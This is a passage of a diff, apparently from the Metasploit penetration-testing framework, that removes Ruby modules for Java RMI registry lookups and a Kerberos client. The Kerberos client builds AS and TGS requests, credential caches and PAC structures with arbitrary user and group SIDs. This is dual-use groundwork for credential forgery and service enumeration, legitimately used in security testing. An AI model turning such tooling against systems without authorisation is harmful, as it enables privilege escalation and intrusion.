name: 'lookup',
|
||||
descriptor: '(Ljava/lang/String;)Ljava/rmi/Remote;',
|
||||
exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException']
|
||||
},
|
||||
{
|
||||
name: 'rebind',
|
||||
descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V',
|
||||
exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException']
|
||||
},
|
||||
{
|
||||
name: 'unbind',
|
||||
descriptor: '(Ljava/lang/String;)V',
|
||||
exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException']
|
||||
}
|
||||
]
|
||||
)
|
||||
|
||||
hash
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,66 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Registry
|
||||
module Builder
|
||||
|
||||
# Builds an RMI call to java/rmi/registry/RegistryImpl_Stub#lookup() used to
|
||||
# retrieve the remote reference bound to a name.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :name the name to lookup
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
# @see Msf::Java::Rmi::Builder.build_call
|
||||
def build_registry_lookup(opts = {})
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
name = opts[:name] || ''
|
||||
|
||||
call = build_call(
|
||||
object_number: object_number,
|
||||
uid_number: uid_number,
|
||||
uid_time: uid_time,
|
||||
uid_count: uid_count,
|
||||
operation: 2, # java.rmi.Remote lookup(java.lang.String)
|
||||
hash: registry_interface_hash,
|
||||
arguments: [Rex::Java::Serialization::Model::Utf.new(nil, name)]
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
|
||||
# Builds an RMI call to java/rmi/registry/RegistryImpl_Stub#list() used to
|
||||
# enumerate the names bound in a registry
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @return [Rex::Proto::Rmi::Model::Call]
|
||||
# @see Msf::Java::Rmi::Builder.build_call
|
||||
def build_registry_list(opts = {})
|
||||
object_number = opts[:object_number] || 0
|
||||
uid_number = opts[:uid_number] || 0
|
||||
uid_time = opts[:uid_time] || 0
|
||||
uid_count = opts[:uid_count] || 0
|
||||
|
||||
call = build_call(
|
||||
object_number: object_number,
|
||||
uid_number: uid_number,
|
||||
uid_time: uid_time,
|
||||
uid_count: uid_count,
|
||||
operation: 1, # java.lang.String list()[]
|
||||
hash: registry_interface_hash,
|
||||
arguments: []
|
||||
)
|
||||
|
||||
call
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,49 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Client
|
||||
module Registry
|
||||
module Parser
|
||||
# Parses a java/rmi/registry/RegistryImpl_Stub#lookup() return value to find out
|
||||
# the remote reference information.
|
||||
#
|
||||
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
|
||||
# @return [Hash, NilClass] The remote interface information if success, nil otherwise
|
||||
def parse_registry_lookup_endpoint(return_value)
|
||||
values_size = return_value.value.length
|
||||
end_point_block_data = return_value.value[values_size - 2]
|
||||
unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData)
|
||||
return nil
|
||||
end
|
||||
|
||||
return_io = StringIO.new(end_point_block_data.contents, 'rb')
|
||||
|
||||
reference = extract_reference(return_io)
|
||||
|
||||
reference
|
||||
end
|
||||
|
||||
# Parses a java/rmi/registry/RegistryImpl_Stub#list() return value to find out
|
||||
# the list of names registered.
|
||||
#
|
||||
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
|
||||
# @return [Array, NilClass] The list of names registered if success, nil otherwise
|
||||
def parse_registry_list(return_value)
|
||||
unless return_value.value[0].is_a?(Rex::Java::Serialization::Model::NewArray)
|
||||
return nil
|
||||
end
|
||||
|
||||
unless return_value.value[0].type == 'java.lang.String;'
|
||||
return nil
|
||||
end
|
||||
|
||||
return_value.value[0].values.collect { |val| val.contents }
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,122 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/java/serialization'
|
||||
require 'rex/text'
|
||||
|
||||
module Msf
|
||||
module Java
|
||||
module Rmi
|
||||
module Util
|
||||
# Calculates a method hash to make RMI calls as defined by the JDK 1.2
|
||||
#
|
||||
# @param signature [String] The remote method signature as specified by the JDK 1.2,
|
||||
# method name + method descriptor (as explained in the Java Virtual Machine Specification)
|
||||
# @return [Fixnum] The method hash
|
||||
# @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how method hashes are calculated
|
||||
def calculate_method_hash(signature)
|
||||
utf = Rex::Java::Serialization::Model::Utf.new(nil, signature)
|
||||
sha1 = Rex::Text.sha1_raw(utf.encode)
|
||||
|
||||
sha1.unpack('Q<')[0]
|
||||
end
|
||||
|
||||
# Calculates an interface hash to make RMI calls as defined by the JDK 1.1
|
||||
#
|
||||
# @param methods [Array] set of method names and their descriptors
|
||||
# @return [Fixnum] The interface hash
|
||||
# @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how interface hashes are calculated
|
||||
def calculate_interface_hash(methods)
|
||||
stream = ''
|
||||
stream << [1].pack('N') # stub version number
|
||||
|
||||
methods.each do |m|
|
||||
utf_method = Rex::Java::Serialization::Model::Utf.new(nil, m[:name])
|
||||
utf_descriptor = Rex::Java::Serialization::Model::Utf.new(nil, m[:descriptor])
|
||||
stream << utf_method.encode
|
||||
stream << utf_descriptor.encode
|
||||
m[:exceptions].each do |e|
|
||||
utf_exception = Rex::Java::Serialization::Model::Utf.new(nil, e)
|
||||
stream << utf_exception.encode
|
||||
end
|
||||
end
|
||||
|
||||
sha1 = Rex::Text.sha1_raw(stream)
|
||||
|
||||
sha1.unpack('Q<')[0]
|
||||
end
|
||||
|
||||
# Extracts an string from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the string from
|
||||
# @return [String, nil] the extracted string if success, nil otherwise
|
||||
def extract_string(io)
|
||||
raw_length = io.read(2)
|
||||
unless raw_length && raw_length.length == 2
|
||||
return nil
|
||||
end
|
||||
length = raw_length.unpack('s>')[0]
|
||||
|
||||
string = io.read(length)
|
||||
unless string && string.length == length
|
||||
return nil
|
||||
end
|
||||
|
||||
string
|
||||
end
|
||||
|
||||
# Extracts an int from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the int from
|
||||
# @return [Fixnum, nil] the extracted int if success, nil otherwise
|
||||
def extract_int(io)
|
||||
int_raw = io.read(4)
|
||||
unless int_raw && int_raw.length == 4
|
||||
return nil
|
||||
end
|
||||
int = int_raw.unpack('l>')[0]
|
||||
|
||||
int
|
||||
end
|
||||
|
||||
# Extracts a long from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the long from
|
||||
# @return [Fixnum, nil] the extracted int if success, nil otherwise
|
||||
def extract_long(io)
|
||||
int_raw = io.read(8)
|
||||
unless int_raw && int_raw.length == 8
|
||||
return nil
|
||||
end
|
||||
int = int_raw.unpack('q>')[0]
|
||||
|
||||
int
|
||||
end
|
||||
|
||||
# Extract an RMI interface reference from an IO
|
||||
#
|
||||
# @param io [IO] the io to extract the reference from, should contain the data
|
||||
# inside a BlockData with the reference information.
|
||||
# @return [Hash, nil] the extracted reference if success, nil otherwise
|
||||
# @see Msf::Java::Rmi::Client::Jmx:Server::Parser#parse_jmx_new_client_endpoint
|
||||
# @see Msf::Java::Rmi::Client::Registry::Parser#parse_registry_lookup_endpoint
|
||||
def extract_reference(io)
|
||||
ref = extract_string(io)
|
||||
unless ref && ref == 'UnicastRef'
|
||||
return nil
|
||||
end
|
||||
|
||||
address = extract_string(io)
|
||||
return nil unless address
|
||||
|
||||
port = extract_int(io)
|
||||
return nil unless port
|
||||
|
||||
object_number = extract_long(io)
|
||||
|
||||
uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(io)
|
||||
|
||||
{address: address, port: port, object_number: object_number, uid: uid}
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,139 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/kerberos'
|
||||
|
||||
module Msf
|
||||
module Kerberos
|
||||
module Client
|
||||
require 'msf/kerberos/client/base'
|
||||
require 'msf/kerberos/client/as_request'
|
||||
require 'msf/kerberos/client/as_response'
|
||||
require 'msf/kerberos/client/tgs_request'
|
||||
require 'msf/kerberos/client/tgs_response'
|
||||
require 'msf/kerberos/client/pac'
|
||||
require 'msf/kerberos/client/cache_credential'
|
||||
|
||||
include Msf::Kerberos::Client::Base
|
||||
include Msf::Kerberos::Client::AsRequest
|
||||
include Msf::Kerberos::Client::AsResponse
|
||||
include Msf::Kerberos::Client::TgsRequest
|
||||
include Msf::Kerberos::Client::TgsResponse
|
||||
include Msf::Kerberos::Client::Pac
|
||||
include Msf::Kerberos::Client::CacheCredential
|
||||
|
||||
# @!attribute client
|
||||
# @return [Rex::Proto::Kerberos::Client] The kerberos client
|
||||
attr_accessor :client
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RHOST,
|
||||
Opt::RPORT(88),
|
||||
OptInt.new('Timeout', [true, 'The TCP timeout to establish connection and read data', 10])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
# Returns the target host
|
||||
#
|
||||
# @return [String]
|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
end
|
||||
|
||||
# Returns the remote port
|
||||
#
|
||||
# @return [Fixnum]
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
# Returns the TCP timeout
|
||||
#
|
||||
# @return [Fixnum]
|
||||
def timeout
|
||||
datastore['Timeout']
|
||||
end
|
||||
|
||||
# Returns the kdc peer
|
||||
#
|
||||
# @return [String]
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
# Creates a kerberos connection
|
||||
#
|
||||
# @param opts [Hash{Symbol => <String, Fixnum>}]
|
||||
# @option opts [String] :rhost
|
||||
# @option opts [<String, Fixnum>] :rport
|
||||
# @return [Rex::Proto::Kerberos::Client]
|
||||
def connect(opts={})
|
||||
kerb_client = Rex::Proto::Kerberos::Client.new(
|
||||
host: opts[:rhost] || rhost,
|
||||
port: (opts[:rport] || rport).to_i,
|
||||
timeout: (opts[:timeout] || timeout).to_i,
|
||||
context:
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self,
|
||||
},
|
||||
protocol: 'tcp'
|
||||
)
|
||||
|
||||
disconnect if client
|
||||
self.client = kerb_client
|
||||
|
||||
kerb_client
|
||||
end
|
||||
|
||||
# Disconnects the Kerberos client
|
||||
#
|
||||
# @param kerb_client [Rex::Proto::Kerberos::Client] the client to disconnect
|
||||
def disconnect(kerb_client = client)
|
||||
kerb_client.close if kerb_client
|
||||
|
||||
if kerb_client == client
|
||||
self.client = nil
|
||||
end
|
||||
end
|
||||
|
||||
# Performs cleanup as necessary, disconnecting the Kerberos client
|
||||
# if it's still established.
|
||||
def cleanup
|
||||
super
|
||||
disconnect
|
||||
end
|
||||
|
||||
# Sends a kerberos AS request and reads the response
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @return [Rex::Proto::Kerberos::Model::KdcResponse]
|
||||
# @see Msf::Kerberos::Client::AsRequest#build_as_request
|
||||
# @see Rex::Proto::Kerberos::Model::KdcResponse
|
||||
def send_request_as(opts = {})
|
||||
connect(opts)
|
||||
req = build_as_request(opts)
|
||||
res = client.send_recv(req)
|
||||
disconnect
|
||||
res
|
||||
end
|
||||
|
||||
# Sends a kerberos AS request and reads the response
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @return [Rex::Proto::Kerberos::Model::KdcResponse]
|
||||
# @see Msf::Kerberos::Client::TgsRequest#build_tgs_request
|
||||
# @see Rex::Proto::Kerberos::Model::KdcResponse
|
||||
def send_request_tgs(opts = {})
|
||||
connect(opts)
|
||||
req = build_tgs_request(opts)
|
||||
res = client.send_recv(req)
|
||||
disconnect
|
||||
res
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,111 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/kerberos'
|
||||
|
||||
module Msf
|
||||
module Kerberos
|
||||
module Client
|
||||
module AsRequest
|
||||
|
||||
# Builds a kerberos AS request
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Array<Rex::Proto::Kerberos::Model::PreAuthData>, Rex::Proto::Kerberos::Model::KdcRequestBody>}]
|
||||
# @option opts [Array<Rex::Proto::Kerberos::Model::PreAuthData>] :pa_data
|
||||
# @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body
|
||||
# @return [Rex::Proto::Kerberos::Model::KdcRequest]
|
||||
# @see [Rex::Proto::Kerberos::Model::KdcRequest]
|
||||
# @see #build_as_pa_time_stamp
|
||||
# @see #build_as_request_body
|
||||
def build_as_request(opts = {})
|
||||
pa_data = opts[:pa_data] || build_as_pa_time_stamp(opts)
|
||||
body = opts[:body] || build_as_request_body(opts)
|
||||
|
||||
request = Rex::Proto::Kerberos::Model::KdcRequest.new(
|
||||
pvno: 5,
|
||||
msg_type: Rex::Proto::Kerberos::Model::AS_REQ,
|
||||
pa_data: pa_data,
|
||||
req_body: body
|
||||
)
|
||||
|
||||
request
|
||||
end
|
||||
|
||||
# Builds a kerberos PA-ENC-TIMESTAMP pre authenticated structure
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Time, Fixnum, String>}]
|
||||
# @option opts [Time] :time_stamp
|
||||
# @option opts [Fixnum] :pausec
|
||||
# @option opts [Fixnum] :etype
|
||||
# @option opts [String] :key
|
||||
# @return [Rex::Proto::Kerberos::Model::PreAuthData]
|
||||
# @see Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptedData
|
||||
# @see Rex::Proto::Kerberos::Model::PreAuthData
|
||||
def build_as_pa_time_stamp(opts = {})
|
||||
time_stamp = opts[:time_stamp] || Time.now
|
||||
pausec = opts[:pausec] || 0
|
||||
etype = opts[:etype] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
|
||||
key = opts[:key] || ''
|
||||
|
||||
pa_time_stamp = Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp.new(
|
||||
pa_time_stamp: time_stamp,
|
||||
pausec: pausec
|
||||
)
|
||||
|
||||
enc_time_stamp = Rex::Proto::Kerberos::Model::EncryptedData.new(
|
||||
etype: etype,
|
||||
cipher: pa_time_stamp.encrypt(etype, key)
|
||||
)
|
||||
|
||||
pa_enc_time_stamp = Rex::Proto::Kerberos::Model::PreAuthData.new(
|
||||
type: Rex::Proto::Kerberos::Model::PA_ENC_TIMESTAMP,
|
||||
value: enc_time_stamp.encode
|
||||
)
|
||||
|
||||
pa_enc_time_stamp
|
||||
end
|
||||
|
||||
# Builds a kerberos AS request body
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, Time, String, Rex::Proto::Kerberos::Model::PrincipalName>}]
|
||||
# @option opts [Fixnum] :options
|
||||
# @option opts [Time] :from
|
||||
# @option opts [Time] :till
|
||||
# @option opts [Time] :rtime
|
||||
# @option opts [Fixnum] :nonce
|
||||
# @option opts [Fixnum] :etype
|
||||
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname
|
||||
# @option opts [String] :realm
|
||||
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname
|
||||
# @return [Rex::Proto::Kerberos::Model::KdcRequestBody]
|
||||
# @see #build_client_name
|
||||
# @see #build_server_name
|
||||
# @see Rex::Proto::Kerberos::Model::KdcRequestBody
|
||||
def build_as_request_body(opts = {})
|
||||
options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable
|
||||
from = opts[:from] || Time.utc('1970-01-01-01 00:00:00')
|
||||
till = opts[:till] || Time.utc('1970-01-01-01 00:00:00')
|
||||
rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00')
|
||||
nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i
|
||||
etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC]
|
||||
cname = opts[:cname] || build_client_name(opts)
|
||||
realm = opts[:realm] || ''
|
||||
sname = opts[:sname] || build_server_name(opts)
|
||||
|
||||
body = Rex::Proto::Kerberos::Model::KdcRequestBody.new(
|
||||
options: options,
|
||||
cname: cname,
|
||||
realm: realm,
|
||||
sname: sname,
|
||||
from: from,
|
||||
till: till,
|
||||
rtime: rtime,
|
||||
nonce: nonce,
|
||||
etype: etype
|
||||
)
|
||||
|
||||
body
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,46 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/kerberos'
|
||||
|
||||
module Msf
|
||||
module Kerberos
|
||||
module Client
|
||||
module AsResponse
|
||||
|
||||
# Extracts the session key from a Kerberos AS Response
|
||||
#
|
||||
# @param res [Rex::Proto::Kerberos::Model::KdcResponse]
|
||||
# @param key [String]
|
||||
# @return [Rex::Proto::Kerberos::Model::EncryptionKey]
|
||||
# @see Rex::Proto::Kerberos::Model::KdcResponse
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt
|
||||
# @see Rex::Proto::Kerberos::Model::EncKdcResponse
|
||||
# @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptionKey
|
||||
def extract_session_key(res, key)
|
||||
decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE)
|
||||
enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res)
|
||||
|
||||
enc_kdc_res.key
|
||||
end
|
||||
|
||||
# Extracts the logon time from a Kerberos AS Response
|
||||
#
|
||||
# @param res [Rex::Proto::Kerberos::Model::KdcResponse]
|
||||
# @param key [String]
|
||||
# @return [Fixnum]
|
||||
# @see Rex::Proto::Kerberos::Model::KdcResponse
|
||||
# @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt
|
||||
# @see Rex::Proto::Kerberos::Model::EncKdcResponse
|
||||
# @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode
|
||||
def extract_logon_time(res, key)
|
||||
decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE)
|
||||
enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res)
|
||||
|
||||
auth_time = enc_kdc_res.auth_time
|
||||
|
||||
auth_time.to_i
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,44 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Kerberos
|
||||
module Client
|
||||
module Base
|
||||
|
||||
# Builds a kerberos Client Name Principal
|
||||
#
|
||||
# @param opts [Hash{Symbol => <String, Fixnum>}]
|
||||
# @option opts [String] :client_name the client's name
|
||||
# @option opts [Fixnum] :client_type the client's name type
|
||||
# @return [Rex::Proto::Kerberos::Model::PrincipalName]
|
||||
# @see Rex::Proto::Kerberos::Model::PrincipalName
|
||||
def build_client_name(opts = {})
|
||||
name = opts[:client_name] || ''
|
||||
name_type = opts[:client_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL
|
||||
|
||||
Rex::Proto::Kerberos::Model::PrincipalName.new(
|
||||
name_type: name_type,
|
||||
name_string: name.split('/')
|
||||
)
|
||||
end
|
||||
|
||||
# Builds a kerberos Server Name Principal
|
||||
#
|
||||
# @param opts [Hash{Symbol => <String, Fixnum>}]
|
||||
# @option opts [String] :server_name the server's name
|
||||
# @option opts [Fixnum] :server_type the server's name type
|
||||
# @return [Rex::Proto::Kerberos::Model::PrincipalName]
|
||||
# @see Rex::Proto::Kerberos::Model::PrincipalName
|
||||
def build_server_name(opts = {})
|
||||
name = opts[:server_name] || ''
|
||||
name_type = opts[:server_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL
|
||||
|
||||
Rex::Proto::Kerberos::Model::PrincipalName.new(
|
||||
name_type: name_type,
|
||||
name_string: name.split('/')
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,148 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/kerberos'
|
||||
|
||||
module Msf
|
||||
module Kerberos
|
||||
module Client
|
||||
module CacheCredential
|
||||
|
||||
# Builds a MIT Credential Cache
|
||||
#
|
||||
# @param opts [Hash{Symbol => <Fixnum, Array<String>, Rex::Proto::Kerberos::CredentialCache::Principal, Array<Rex::Proto::Kerberos::CredentialCache::Credential>>}]
|
||||
# @option opts [Fixnum] :version
|
||||
# @option opts [Array<String>] :headers
|
||||
# @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] :primary_principal
|
||||
# @option opts [Array<Rex::Proto::Kerberos::CredentialCache::Credential>] :credentials
|
||||
# @return [Rex::Proto::Kerberos::CredentialCache::Cache]
|
||||
# @see Rex::Proto::Kerberos::CredentialCache::Cache
|
||||
def create_cache(opts = {})
|
||||
version = opts[:version] || Rex::Proto::Kerberos::CredentialCache::VERSION
|
||||
headers = opts[:headers] || [Rex::Proto::Kerberos::CredentialCache::HEADER]
|
||||
primary_principal = opts[:primary_principal] || create_cache_principal(opts)
|
||||
credentials = opts[:credentials] || [create_cache_credential(opts)]
|
||||
|
||||
cache = Rex::Proto::Kerberos::CredentialCache::Cache.new(
|
||||
version: version,
|
||||
headers: headers,
|
||||
primary_principal: primary_principal,
|
||||
credentials: credentials
|
||||
)
|
||||
|
||||
cache
|
||||
end
|
||||
|
||||
# Builds a MIT Credential Cache principal
|
||||
#
|
||||
# @param opts [Hash<{Symbol => <Fixnum, String, Array<String>>}>]
|
||||
# @option opts [Fixnum] :name_type
|
||||
# @option opts [String] :realm
|
||||
# @option opts [Array<String>] :components
|
||||
# @return [Rex::Proto::Kerberos::CredentialCache::Principal]
|
||||
# @see Rex::Proto::Kerberos::CredentialCache::Principal
|
||||
def create_cache_principal(opts = {})
|
||||
name_type = opts[:name_type] || 0
|
||||
realm = opts[:realm] || ''
|
||||
components = opts[:components] || ['']
|
||||
|
||||
principal = Rex::Proto::Kerberos::CredentialCache::Principal.new(
|
||||
name_type: name_type,
|
||||
realm: realm,
|
||||
components:components
|
||||
)
|
||||
|
||||
principal
|
||||
end
|
||||
|
||||
# Builds a MIT Credential Cache key block
|
||||
#
|
||||
# @param opts [Hash<{Symbol => <Fixnum, String>}>]
|
||||
# @option opts [Fixnum] :key_type
|
||||
# @option opts [Fixnum] :e_type
|
||||
# @option opts [String] :key_value
|
||||
# @return [Rex::Proto::Kerberos::CredentialCache::KeyBlock]
|
||||
# @see Rex::Proto::Kerberos::CredentialCache::KeyBlock
|
||||
def create_cache_key_block(opts = {})
|
||||
key_type = opts[:key_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
|
||||
e_type = opts[:e_type] || 0
|
||||
key_value = opts[:key_value] || ''
|
||||
|
||||
key_block = Rex::Proto::Kerberos::CredentialCache::KeyBlock.new(
|
||||
key_type: key_type,
|
||||
e_type: e_type,
|
||||
key_value: key_value
|
||||
)
|
||||
|
||||
key_block
|
||||
end
|
||||
|
||||
# Builds a times structure linked to a credential in a MIT Credential Cache
|
||||
#
|
||||
# @param opts [Hash<{Symbol => Fixnum}>]
|
||||
# @option opts [Fixnum] auth_time
|
||||
# @option opts [Fixnum] start_time
|
||||
# @option opts [Fixnum] end_time
|
||||
# @option opts [Fixnum] renew_till
|
||||
# @return [Rex::Proto::Kerberos::CredentialCache::Time]
|
||||
# @see Rex::Proto::Kerberos::CredentialCache::Time
|
||||
def create_cache_times(opts = {})
|
||||
auth_time = opts[:auth_time] || 0
|
||||
start_time = opts[:start_time] || 0
|
||||
end_time = opts[:end_time] || 0
|
||||
renew_till = opts[:renew_till] || 0
|
||||
|
||||
time = Rex::Proto::Kerberos::CredentialCache::Time.new(
|
||||
auth_time: auth_time.to_i,
|
||||
start_time: start_time.to_i,
|
||||
end_time: end_time.to_i,
|
||||
renew_till: renew_till.to_i
|
||||
)
|
||||
|
||||
time
|
||||
end
|
||||
|
||||
# Builds a MIT Credential Cache credential
|
||||
#
|
||||
# @param opts [Hash<{Symbol => <>}>]
|
||||
# @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] client
|
||||
# @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] server
|
||||
# @option opts [Rex::Proto::Kerberos::CredentialCache::KeyBlock] key
|
||||
# @option opts [Rex::Proto::Kerberos::CredentialCache::Time] time
|
||||
# @option opts [Fixnum] is_key
|
||||
# @option opts [Fixnum] flags
|
||||
# @option opts [Array] addrs
|
||||
# @option opts [Array] auth_data
|
||||
# @option opts [String] ticket
|
||||
# @option opts [String] second_ticket
|
||||
# @return [Rex::Proto::Kerberos::CredentialCache::Credential]
|
||||
# @see Rex::Proto::Kerberos::CredentialCache::Credential
|
||||
def create_cache_credential(opts = {})
|
||||
client = opts[:client] || create_cache_principal(opts)
|
||||
server = opts[:server] || create_cache_principal(opts)
|
||||
key = opts[:key] || create_cache_key_block(opts)
|
||||
time = opts[:time] || create_cache_times(opts)
|
||||
is_skey = opts[:is_skey] || 0
|
||||
tkt_flags = opts[:flags] || 0
|
||||
addrs = opts[:addrs] || []
|
||||
auth_data = opts[:auth_data] || []
|
||||
ticket = opts[:ticket] || ''
|
||||
second_ticket = opts[:second_ticket] || ''
|
||||
|
||||
cred = Rex::Proto::Kerberos::CredentialCache::Credential.new(
|
||||
client: client,
|
||||
server: server,
|
||||
key: key,
|
||||
time: time,
|
||||
is_skey: is_skey,
|
||||
tkt_flags:tkt_flags,
|
||||
addrs: addrs,
|
||||
auth_data: auth_data,
|
||||
ticket: ticket,
|
||||
second_ticket: second_ticket
|
||||
)
|
||||
|
||||
cred
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,111 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/proto/kerberos'
|
||||
|
||||
module Msf
|
||||
module Kerberos
|
||||
module Client
|
||||
module Pac
|
||||
|
||||
# Builds a kerberos PA-PAC-REQUEST pre authenticated structure
|
||||
#
|
||||
# @param opts [Hash{Symbol => Boolean}]
|
||||
# @option opts [Boolean] :pac_request_value
|
||||
# @return [Rex::Proto::Kerberos::Model::Field::PreAuthData]
|
||||
# @see Rex::Proto::Kerberos::Model::PreAuthPacRequest
|
||||
# @see Rex::Proto::Kerberos::Model::PreAuthData
|
||||
def build_pa_pac_request(opts = {})
|
||||
value = opts[:pac_request_value] || false
|
||||
pac_request = Rex::Proto::Kerberos::Model::PreAuthPacRequest.new(value: value)
|
||||
pa_pac_request = Rex::Proto::Kerberos::Model::PreAuthData.new(
|
||||
type: Rex::Proto::Kerberos::Model::PA_PAC_REQUEST,
|
||||
value: pac_request.encode
|
||||
)
|
||||
|
||||
pa_pac_request
|
||||
end
|
||||
|
||||
# Builds a kerberos PACTYPE structure
|
||||
#
|
||||
# @param opts [Hash{Symbol => <String, Fixnum, Array, Time>}]
|
||||
# @option opts [String] :client_name
|
||||
# @option opts [Fixnum] :user_id the user SID Ex: 1000
|
||||
# @option opts [Fixnum] :group_id Ex: 513 for 'Domain Users'
|
||||
# @option opts [Array<Fixnum>] :group_ids
|
||||
# @option opts [String] :realm
|
||||
# @option opts [String] :domain_id the domain SID Ex: S-1-5-21-1755879683-3641577184-3486455962
|
||||
# @option opts [Time] :logon_time
|
||||
# @return [Rex::Proto::Kerberos::Pac::Type]
|
||||
# @see Rex::Proto::Kerberos::Pac::LogonInfo
|
||||
# @see Rex::Proto::Kerberos::Pac::ClientInfo
|
||||
# @see Rex::Proto::Kerberos::Pac::ServerChecksum
|
||||
# @see Rex::Proto::Kerberos::Pac::PrivSvrChecksum
|
||||
# @see Rex::Proto::Kerberos::Pac::Type
|
||||
def build_pac(opts = {})
|
||||
user_name = opts[:client_name] || ''
|
||||
user_id = opts[:user_id] || Rex::Proto::Kerberos::Pac::DEFAULT_USER_SID
|
||||
primary_group_id = opts[:group_id] || Rex::Proto::Kerberos::Pac::DOMAIN_USERS
|
||||
group_ids = opts[:group_ids] || [Rex::Proto::Kerberos::Pac::DOMAIN_USERS]
|
||||
domain_name = opts[:realm] || ''
|
||||
domain_id = opts[:domain_id] || Rex::Proto::Kerberos::Pac::NT_AUTHORITY_SID
|
||||
logon_time = opts[:logon_time] || Time.now
|
||||
checksum_type = opts[:checksum_type] || Rex::Proto::Kerberos::Crypto::RSA_MD5
|
||||
|
||||
logon_info = Rex::Proto::Kerberos::Pac::LogonInfo.new(
|
||||
logon_time: logon_time,
|
||||
effective_name: user_name,
|
||||
user_id: user_id,
|
||||
primary_group_id: primary_group_id,
|
||||
group_ids: group_ids,
|
||||
logon_domain_name: domain_name,
|
||||
logon_domain_id: domain_id,
|
||||
)
|
||||
|
||||
client_info = Rex::Proto::Kerberos::Pac::ClientInfo.new(
|
||||
client_id: logon_time,
|
||||
name: user_name
|
||||
)
|
||||
|
||||
server_checksum = Rex::Proto::Kerberos::Pac::ServerChecksum.new(
|
||||
checksum: checksum_type
|
||||
)
|
